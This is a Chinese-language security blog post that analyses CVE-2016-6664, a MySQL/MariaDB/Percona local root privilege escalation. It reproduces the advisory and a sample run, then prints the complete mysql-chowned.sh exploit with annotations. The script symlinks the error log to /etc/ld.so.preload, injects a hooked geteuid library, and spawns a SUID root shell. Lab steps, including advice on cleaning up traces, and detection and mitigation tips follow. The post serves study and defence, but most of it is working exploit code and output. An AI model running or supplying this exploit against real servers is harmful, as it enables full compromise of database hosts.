cve-2016-6664 mysql本地提权

太过爱你忘了你带给我的痛 2021-08-20 02:06 518阅读 0赞

0x00 前言

这个漏洞可以结合CVE-2016-6663使用提升权限到root

0x01 漏洞原文

  1. # http://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html
  2. =============================================
  3. - Release date: 01.11.2016
  4. - Discovered by: Dawid Golunski
  5. - Severity: High/Critical
  6. - CVE-2016-6664 / (Oracle) CVE-2016-5617
  7. - http://legalhackers.com
  8. =============================================
  11. I. VULNERABILITY
  12. -------------------------
  14. MySQL / MariaDB / Percona   -   Root Privilege Escalation
  16. MySQL  
  17.     <= 5.5.51
  18.     <= 5.6.32
  19.     <= 5.7.14
  21. MariaDB
  22.     All current
  24. Percona Server
  25.     < 5.5.51-38.2
  26.     < 5.6.32-78-1
  27.     < 5.7.14-8
  29. Percona XtraDB Cluster
  30.     < 5.6.32-25.17
  31.     < 5.7.14-26.17
  32.     < 5.5.41-37.0
  35. III. INTRODUCTION
  36. -------------------------
  38. MySQL-based databases including MySQL, MariaDB and Percona are affected
  39. by a privilege escalation vulnerability which can let attackers who have
  40. gained access to mysql system user to further escalate their privileges
  41. to root user allowing them to fully compromise the system.
  42. The vulnerability stems from unsafe file handling of error logs and
  43. other files.
  44. 基于MySQL的数据库，包括MySQL,MariaDB,Percona都受到CVE-2016-6664的影响。
  45. 该漏洞可以使已经拥有mysql系统用户权限的攻击者提升到root权限。
  46. 该漏洞是因为MySQL对error logs和其他文件的不安全操作导致的
  49. IV. DESCRIPTION
  50. -------------------------
  52. The error.log file on most default installations of MySQL/Percona/MariaDB
  53. databases is stored either in /var/log/mysql or /var/lib/mysql directory.
  54. MySQL/Percona/MariaDB安装后，error.log文件默认放置在/var/log/mysql或者/var/lib/mysql文件夹中。
  56. The permissions on the file and directory look as follows:
  57. 相关文件和文件夹的权限如下所示：
  59. root@trusty:/var/lib/mysql# ls -la /var/log/mysql
  60. total 468
  61. drwxr-s---  2 mysql adm      4096 Sep 11 06:25 .
  62. drwxrwxr-x 36 root  syslog   4096 Sep 11 06:25 ..
  63. -rw-r-----  1 mysql adm         0 Sep 11 06:25 error.log
  65. root@trusty:/var/lib/mysql# ls -lad /var/log/mysql
  66. drwxr-s--- 2 mysql adm 4096 Sep 11 06:25 /var/log/mysql
  69. mysqld_safe wrapper that is normally used for starting MySQL daemon and 
  70. creating/reopening the error.log performs certain unsafe file operations that
  71. may allow attackers to gain root privileges.
  72. mysqld_safe wrapper通常用于启动mysql守护进程和新建/打开error.log。
  73. 在这个过程中mysql_safe进行了不安全的文件操作，导致攻击者可获得root权限。
  75. The wrapper script contains a 'while' loop shown below which monitors the mysqld 
  76. process and performs a restart in case of the process failure.  
  77. The restart involves re-creation of the error.log file if syslog logging has
  78. not been configured instead of error log files (file-based logging is the 
  79. default setting on most installations).
  80. mysqld_safe wrapper脚本包含了一个while循环(如下所示)，这个循环监视mysqld进程，如果进程挂掉了该循环负责重启进程。
  81. 重启过程中，如果发现配置没有使用syslog替代error.log文件，则会重新创建error log 文件。（大部分情况下数据库安装后默认配置是基于文件的日志，即没有使用syslog）
  82. --------[ mysqld_safe ]--------
  83. [...]
  85. while true
  86. do
  87.   rm -f "$pid_file"     # Some extra safety
  89.   start_time=`date +%M%S`
  91.   eval_log_error "$cmd"
  93.   if [ $want_syslog -eq 0 -a ! -f "$err_log" ]; then
  94.     touch "$err_log"                    # hypothetical: log was renamed but not
  95.     chown $user "$err_log"              # flushed yet. we'd recreate it with
  96.     chmod "$fmode" "$err_log"           # wrong owner next time we log, so set
  97.   fi                                    # it up correctly while we can!
  99. [...]
  101. -------------------------------
  103. As can be seen, the error.log file is created (touch) and chowned to the user
  104. running the mysqld daemon (typically 'mysql'). 
  105. 可以看到，error.log文件被创建(touch)然后使用chown将error.log文件所有者修改为运行mysql进程的用户（一般为mysql）
  107. The operation is vulnerable to a symlink attack.
  108. 这个操作很容易受到符号链接攻击。
  110. Attackers who obtained access to mysql account, through CVE-2016-6663
  111. vulnerability described at:
  112. 攻击者可以通过CVE-2016-6663获得mysql权限
  114. http://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html
  116. would gain access to /var/log or /var/lib/mysql directories (owned by mysql user) 
  117. and could therefore easily remove the error.log file and replace it 
  118. with a symlink to an arbitrary system file and escalate privileges.
  119. 拥有mysql权限后，攻击者可以访问/var/log和/var/lib/mysql目录，并且可以删除error.log并将其替换成指向任意文件的符号链接，进而进行提权。
  121. The privilege escalation could be triggered instantly (without the need to wait
  122. for mysql service restart/reboot) by attackers having 'mysql' account by simply 
  123. killing the mysqld child process (launched by the mysqld_safe wrapper).
  124. 无需等待 mysql service 重启，攻击者只需要通过mysql用户杀死由mysqld_safe创建的mysqld的子进程，就可以触发这个权限升级。
  126. When the mysqld process gets terminated, the wrapper will then re-itertate the 
  127. loop shown above and immediately create a mysql-owned file in the location 
  128. specified by the attacker in the symlink thus allowing attackers to quickly
  129. escalate their privileges.
  130. 当mysqld进程被终止，mysqld_safe将会执行while循环，并创建一个属于mysql用户的文件在攻击者指定的位置（通过符号链接指向），进而进行提权。
  134. V. PROOF OF CONCEPT EXPLOIT
  135. -------------------------
  137. -------[ mysql-chowned.sh ]------
  138. 见0x02漏洞利用代码分析
  139. ------------EOF------------------
  142. Example run
  143. ​~~~~~~~~~~~~~~~~
  145. mysql_suid_shell.MYD-4.3$ whoami
  146. mysql
  148. omysql_suid_shell.MYD-4.3$ dpkg -l | grep percona-server-server
  149. iU  percona-server-server              5.6.32-78.0-1.xenial              amd64        Percona Server database server
  150. iF  percona-server-server-5.6          5.6.32-78.0-1.xenial              amd64        Percona Server database server binaries
  152. mysql_suid_shell.MYD-4.3$ ./mysql-chowned.sh /var/lib/mysql/xenial-percona.err 
  154. MySQL / MariaDB / Percona - Root Privilege Escalation PoC Exploit 
  155. mysql-chowned.sh (ver. 1.0)
  157. CVE-2016-6664 / CVE-2016-5617
  159. Discovered and coded by: 
  161. Dawid Golunski 
  162. http://legalhackers.com 
  164. [+] Starting the exploit as 
  165. uid=1001(attacker) gid=1001(attacker) euid=107(mysql) groups=1001(attacker)
  167. [+] Target MySQL log file set to /var/lib/mysql/xenial-percona.err
  169. [+] Compiling the privesc shared library (/tmp/privesclib.c)
  171. [+] Backdoor/low-priv shell installed at: 
  172. -rwxr-xr-x 1 mysql attacker 1037528 Nov  1 05:08 /tmp/mysqlrootsh
  174. [+] Symlink created at: 
  175. lrwxrwxrwx 1 mysql attacker 18 Nov  1 05:08 /var/lib/mysql/xenial-percona.err -> /etc/ld.so.preload
  177. [+] Waiting for MySQL to re-open the logs/MySQL service restart...
  178. Do you want to kill mysqld process to instantly get root? :) ? [y/n] y
  179. Got it. Executing 'killall mysqld' now...
  181. [+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges: 
  182. -rw-r----- 1 mysql root 19 Nov  1 05:08 /etc/ld.so.preload
  184. [+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload
  186. [+] The /etc/ld.so.preload file now contains: 
  187. /tmp/privesclib.so
  189. [+] Escalating privileges via the /usr/bin/sudo SUID binary to get root!
  190. -rwsrwxrwx 1 root root 1037528 Nov  1 05:08 /tmp/mysqlrootsh
  192. [+] Rootshell got assigned root SUID perms at: 
  193. -rwsrwxrwx 1 root root 1037528 Nov  1 05:08 /tmp/mysqlrootsh
  195. Got root! The database server has been ch-OWNED !
  197. [+] Spawning the rootshell /tmp/mysqlrootsh now! 
  199. mysqlrootsh-4.3# whoami
  200. root
  202. mysqlrootsh-4.3# exit
  203. exit
  205. [+] Cleaning up...
  207. [+] Job done. Exiting with code 0
  210. VI. BUSINESS IMPACT
  211. -------------------------
  213. Although the severity of this issue is lower on its own (attackers need to
  214. gain access to mysql system user), the vulnerability could easily be combined 
  215. with the CVE-2016-6663 issue.
  216. The combination of the two would effectively allow low privileged local 
  217. database users to escalate their system privileges to root system account and 
  218. allow them to fully compromise the server which increases the severity of this
  219. issue.
  221. VIII. SOLUTION
  222. -------------------------
  223. 作者没有给出明确修补方式，只是说明数据库厂商会为该漏洞打补丁。

0x02 漏洞利用代码分析

http://legalhackers.com/exploits/CVE-2016-6664/mysql-chowned.sh

  1. #!/bin/bash -p 
  2. #必须加上 -p 否则suid不会生效
  3. #
  4. # MySQL / MariaDB / Percona - Root Privilege Escalation PoC Exploit
  5. # mysql-chowned.sh (ver. 1.1)
  6. #
  7. # CVE-2016-6664 / CVE-2016-5617
  8. #
  9. # Discovered and coded by:
  10. #
  11. # Dawid Golunski
  12. # dawid[at]legalhackers.com
  13. #
  14. # https://legalhackers.com
  15. #
  16. # Follow https://twitter.com/dawid_golunski for updates on this advisory.
  17. #
  18. # This PoC exploit allows attackers to (instantly) escalate their privileges
  19. # from mysql system account to root through unsafe error log handling.
  20. # 攻击者可以通过这个poc攻击不安全的error log处理过程从mysql权限提升到root权限
  21. # The exploit requires that file-based logging has been configured (default).
  22. # 成功攻击需要受害者主机配置的是基于文件的日志(即默认配置)
  23. # To confirm that syslog logging has not been enabled instead use:
  24. # grep -r syslog /etc/mysql
  25. # which should return no results.
  26. # 保证syslog日志未被启用, 如果grep -r syslog /etc/mysql无返回结果则表示未被启用
  27. #
  28. # This exploit can be chained with the following vulnerability:
  29. # CVE-2016-6663 / CVE-2016-5616
  30. # which allows attackers to gain access to mysql system account (mysql shell).
  31. # 这个漏洞可以和CVE-2016-6663结合使用，6663可以使攻击者获得mysql系统用户权限
  32. #
  33. # In case database server has been configured with syslog you may also use:
  34. # CVE-2016-6662 as an alternative to this exploit.
  35. # 如果数据库服务器已经使用了syslog，你可以使用CVE-2016-6662获取root权限
  36. #
  37. # Usage:
  38. # ./mysql-chowned.sh path_to_error.log 
  39. #
  40. #
  41. # See the full advisory for details at:
  42. # https://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html
  43. #
  44. # Video PoC:
  45. # https://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html
  46. #
  47. #
  48. # Disclaimer:
  49. # For testing purposes only. Do no harm.
  51. BACKDOORSH="/bin/bash"  #bash shell
  52. BACKDOORPATH="/tmp/mysqlrootsh" #backdoor文件路径
  53. PRIVESCLIB="/tmp/privesclib.so"
  54. PRIVESCSRC="/tmp/privesclib.c"
  55. SUIDBIN="/usr/bin/sudo"
  57. function cleanexit {
  58.     # Cleanup 
  59.     echo -e "\n[+] Cleaning up..."
  60.     rm -f $PRIVESCSRC
  61.     rm -f $PRIVESCLIB
  62.     rm -f $ERRORLOG
  63.     touch $ERRORLOG
  64.     if [ -f /etc/ld.so.preload ]; then
  65.         echo -n > /etc/ld.so.preload
  66.     fi
  67.     echo -e "\n[+] Job done. Exiting with code $1 \n"
  68.     exit $1
  69. }
  71. function ctrl_c() {
  72.         echo -e "\n[+] Ctrl+C pressed"
  73.     cleanexit 0
  74. }
  76. #intro 
  77. #介绍信息
  78. echo -e "\033[94m \nMySQL / MariaDB / Percona - Root Privilege Escalation PoC Exploit \nmysql-chowned.sh (ver. 1.0)\n\nCVE-2016-6664 / CVE-2016-5617\n"
  79. echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m"
  81. # Args
  82. # usage
  83. if [ $# -lt 1 ]; then
  84.     echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n"
  85.     echo -e "It seems that this server uses: `ps aux | grep mysql | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n"
  86.     exit 3
  87. fi
  89. # Priv check
  90. # 检查运行脚本的用户是否是mysql
  91. echo -e "\n[+] Starting the exploit as \n\033[94m`id`\033[0m"
  92. id | grep -q mysql 
  93. if [ $? -ne 0 ]; then
  94.     echo -e "\n[!] You need to execute the exploit as mysql user! Exiting.\n"
  95.     exit 3
  96. fi
  98. # Set target paths
  99. # error log路径
  100. ERRORLOG="$1"
  101. if [ ! -f $ERRORLOG ]; then
  102.     echo -e "\n[!] The specified MySQL error log ($ERRORLOG) doesn't exist. Try again.\n"
  103.     exit 3
  104. fi
  105. echo -e "\n[+] Target MySQL log file set to $ERRORLOG"
  107. # [ Active exploitation ]
  109. trap ctrl_c INT
  110. # Compile privesc preload library
  111. # 编译库文件
  112. echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
  113. cat <<_solibeof_>$PRIVESCSRC
  114. #define _GNU_SOURCE
  115. #include <stdio.h>
  116. #include <sys/stat.h>
  117. #include <unistd.h>
  118. #include <dlfcn.h>
  119.        #include <sys/types.h>
  120.        #include <sys/stat.h>
  121.        #include <fcntl.h>
  123. uid_t geteuid(void) {
  124.     static uid_t  (*old_geteuid)();
  125.     old_geteuid = dlsym(RTLD_NEXT, "geteuid");
  126.     if ( old_geteuid() == 0 ) {
  127.         //修改mysqlrootsh owner和group为root
  128.         chown("$BACKDOORPATH", 0, 0);
  129.         //修改mysqlrootsh权限为04777
  130.         chmod("$BACKDOORPATH", 04777);
  131.         //unlink("/etc/ld.so.preload");
  132.     }
  133.     return old_geteuid();
  134. }
  135. _solibeof_
  136. /bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
  137. if [ $? -ne 0 ]; then
  138.     echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
  139.     cleanexit 2;
  140. fi
  143. # Prepare backdoor shell
  144. # 将/bin/bash拷贝到/tmp/mysqlrootsh
  145. cp $BACKDOORSH $BACKDOORPATH
  146. echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"
  148. # Safety check
  149. # 如果已经存在/etc/ld.so.preload，为了不破坏主机原本环境，脚本自动退出
  150. if [ -f /etc/ld.so.preload ]; then
  151.     echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
  152.     exit 2
  153. fi
  155. # Symlink the log file to /etc
  156. # 删除error.log，新建error.log符号链接，链接到/etc/ld.so.preload
  157. rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG
  158. if [ $? -ne 0 ]; then
  159.     echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."
  160.     cleanexit 3
  161. fi
  162. echo -e "\n[+] Symlink created at: \n`ls -l $ERRORLOG`"
  164. # Wait for MySQL to re-open the logs
  165. echo -ne "\n[+] Waiting for MySQL to re-open the logs/MySQL service restart...\n"
  166. echo -ne "\n[+] Waiting for MySQL to re-open the logs/MySQL service restart...\n"
  167. echo -n "Do you want to kill mysqld process `pidof mysqld` to instantly get root? :) ? [y/n] "
  168. read THE_ANSWER
  169. if [ "$THE_ANSWER" = "y" ]; then
  170.     echo -e "Got it. Executing 'killall mysqld' now..."
  171.     killall mysqld
  172. fi
  173. while :; do 
  174.     sleep 0.1
  175.     if [ -f /etc/ld.so.preload ]; then
  176.         # 将"/tmp/privesclib.so"写入/etc/ld.so.preload
  177.         echo $PRIVESCLIB > /etc/ld.so.preload
  178.         # 删除errorlog
  179.         rm -f $ERRORLOG
  180.         break;
  181.     fi
  182. done
  184. # /etc/ dir should be owned by mysql user at this point
  185. # Inject the privesc.so shared library to escalate privileges
  186. # 将"/tmp/privesclib.so"写入/etc/ld.so.preload
  187. echo $PRIVESCLIB > /etc/ld.so.preload
  188. echo -e "\n[+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges: \n`ls -l /etc/ld.so.preload`"
  189. echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
  190. echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"
  191. chmod 755 /etc/ld.so.preload
  193. # Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
  194. echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
  196. # sudo是一个suid程序，会调用geteuid函数，该函数已经被/tmp/privesclib.so中的geteuid覆盖掉
  197. # 所以sudo会调用攻击者自定义的geteuid
  198. # /tmp/privesclib.so中的geteuid会将/tmp/mysqlrootsh的权限改为04777
  199. sudo 2>/dev/null >/dev/null
  202. # Check for the rootshell
  203. # 检查是否拿到了rootshell
  204. ls -l $BACKDOORPATH
  205. ls -l $BACKDOORPATH | grep rws | grep -q root
  206. if [ $? -eq 0 ]; then 
  207.     echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
  208.     echo -e "\n\033[94mGot root! The database server has been ch-OWNED !\033[0m"
  209. else
  210.     echo -e "\n[!] Failed to get root"
  211.     cleanexit 2
  212. fi
  215. # Execute the rootshell
  216. # 执行rootshell
  217. echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n"
  218. # 删除漏洞利用过程中产生的文件
  219. $BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
  220. $BACKDOORPATH -p -i
  222. # Job done.
  223. cleanexit 0

0x03 漏洞验证

MySQL Poc:

http://legalhackers.com/exploits/CVE-2016-6664/mysql-chowned.sh

漏洞成功利用的条件:

  1. MySQL-based数据库版本符合条件
  2. 攻击者已经获得mysql系统用户权限
  3. mysql错误日志使用默认基于文件的配置，未使用syslog

实验环境:

  1. 系统: Debian 4.0.4-1 kali2 x86_64
  2. MySQL版本: 5.5.47

环境准备：

  1. 检查系统MySQL版本：

format_png

  1. 检查MySQL是否配置了使用syslog:

format_png 1

  1. kali系统上预装的MySQL的错误日志是使用syslog的，需要将这个配置去掉(需要root权限)，将mysqld_safe_syslog.conf中的syslog删除后保存，如下图所示

    vim /etc/mysql/conf.d/mysqld_safe_syslog.cnf

format_png 2

​ 重启mysql服务

  1. mysqld_safe --user=mysql

漏洞利用:

查看error log文件的位置（默认是在mysql的数据目录下, debian上为/var/lib/mysql/hostname.err）

format_png 3

需要先通过CVE-2016-6663获得mysql系统用户的shell，然后指定error log文件位置并运行提权脚本

format_png 4

成功获得root权限：

format_png 5

清理痕迹: 脚本只删除了ld.so.preload和/tmp/privesclib.so，注意把/tmp/privesclib.c也删了

ps. 不知道为什么漏洞利用成功后服务器上的MySQL挂了，需要手动重启，提权前最好看一下服务器上原来是以什么配置启动的mysql（ps aux | grep mysql），若提权过程中导致mysql服务器挂掉可以以同样配置启动

0x04 漏洞利用过程总结

1. ld.so.preload

要理解这个漏洞的利需要首先了解/etc/ld.so.preload这个文件的作用。

这个文件的作用和LD_PRELOAD这个环境变量的作用类似：

用以指定预先装载的一些共享库或目标文件，且无论程序是否依赖这些共享库或者文件，指定的这些文件都会被装载。但是两者的区别在于LD_PRELOAD被做了限制，对于suid的程序这种预先装载目标库的功能可能会导致权限提升，所以对于suid的程序加载动态链接库时是会忽略LD_PRELOAD的。但是/etc/ld.so.preload这个配置文件却不存在这种限制。

  1. # 参考资料4(https://minipli.wordpress.com/2009/07/17/ld_preload-vs-etcld-so-preload/)中是这么说的:
  2. LD_PRELOAD was evil when combined with suid binaries so it will be ignored by the loader. That’s because otherwise you could abuse those binaries to raise your privileges by preloading some code that spawns a shell — e.g. by hooking __libc_start_main(). However, those restrictions do not apply for this file(/etc/ld.so.preload). The loader will bravely load the shared objects listed in /etc/ld.so.preload even for suid binaries.

在此漏洞利用过程中ld.so.preload文件中的内容为攻击者自己编译的so文件: /tmp/privesclib.so

攻击者在/tmp/privesclib.so中自定义了geteuid函数，这个函数会在suid的程序(如sudo)中被调用

  1. strace -o sudo.txt sudo

format_png 6

攻击者设置预先加载其定义so库，会导致geteuid函数被覆盖掉，当sudo调用geteuid时实际上调用的是攻击者自定义函数，可以达到一种类似hook的效果。

/etc目录只有root可写，所以要借助mysqld_safe进程创建ld.so.preload文件(mysqld_safe进程是以root权限运行的)

2.漏洞利用过程

简单梳理一下漏洞利用过程，主要分为一下几步：（可以结合poc一起看会比较清晰）

  1. 准备工作：

    1. cp /bin/bash /tmp/mysqlrootsh
    2. 编译攻击者自定义so
  2. 删除error.log（需要mysql权限），并新建符号链接 ln -s /etc/ld.so.preload /var/log/mysql/error.log , error.log为符号链接文件，指向一个现在不存在的ld.so.preload文件（这种情况下判断error.log是否存在，结果是不存在的，并且touch error.log的结果是新建一个ld.so.preload文件）
  3. 杀掉mysqld进程，mysqld_safe检测到mysqld进程死掉了，会重启它，在重启的过程中检查error.log是否存在，因为刚刚error.log被换为了符号链接，所以mysqld_safe认为其不存在，然后touch error.log，结果攻击者成功借助mysqld_safe的root权限新建了ld.so.preload文件
  4. mysqld_safe进程执行chown mysql error.log ,因为error.log是符号链接，所以ld.so.preload的owner被改为mysql
  5. echo ‘/tmp/privesclib.so’ > /etc/ld.so.preload (攻击者有mysql权限，并且ld.so.preload的owner为mysql)
  6. 执行sudo, geteuid被调用，/tmp/mysqlrootsh权限的owner和group被改为root, 权限被改为04777
  7. 执行mysqlrootsh拿到root权限

0x05 漏洞/利用模型抽象

漏洞原因用一句话总结就是:

root权限进程对文件进行敏感操作（touch/chown），被操作文件可被攻击者(非root用户)访问并换为攻击者可控文件(符号链接)，攻击者精心构造文件获得root权限

0x06 应急相应

  1. 该漏洞的利用建立在CVE-2016-6663的基础之上，所以建议修补6663漏洞防止攻击者进一步对服务器造成危害。
  2. 短期内可使用syslog代替默认的error log，等待官方补丁

攻击检测：

  1. 检查mysql版本是否在存在漏洞的版本范围内
  2. 查看mysql是否开启syslog
  3. 检测是否存在/etc/ld.so.preload,/tmp/privesclib.so,/tmp/privesclib.c, /tmp/mysqlrootsh等文件

0x07 参考资料

  1. 漏洞原文

    http://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html

  2. MySQL错误日志

    http://blog.csdn.net/leshami/article/details/39759849

  3. Linux平台LD_PRELOAD及其机制的一种技术

    http://www.tuicool.com/articles/aqERfi

  4. LD_PRELOAD vs. /etc/ld.so.preload

    https://minipli.wordpress.com/2009/07/17/ld\_preload-vs-etcld-so-preload/

  5. UNIX下的LD_PRELOAD变量

    http://blog.chinaunix.net/uid-13344516-id-79188.html

发表评论

表情：
评论列表 （有 0 条评论，518人围观）

还没有评论，来说两句吧...

相关阅读

    相关 CVE-2018-8120 提权

    经验证，诸多版本的Windows系统均存在该漏洞，文末同时附带一份利用该漏洞制作的提权工具，以供学习。经测试该工具支持Win2003 x32/x64、WinXP x32、Win

    左手的ㄟ右手左手的ㄟ右手/ 0 赞/ 42 阅读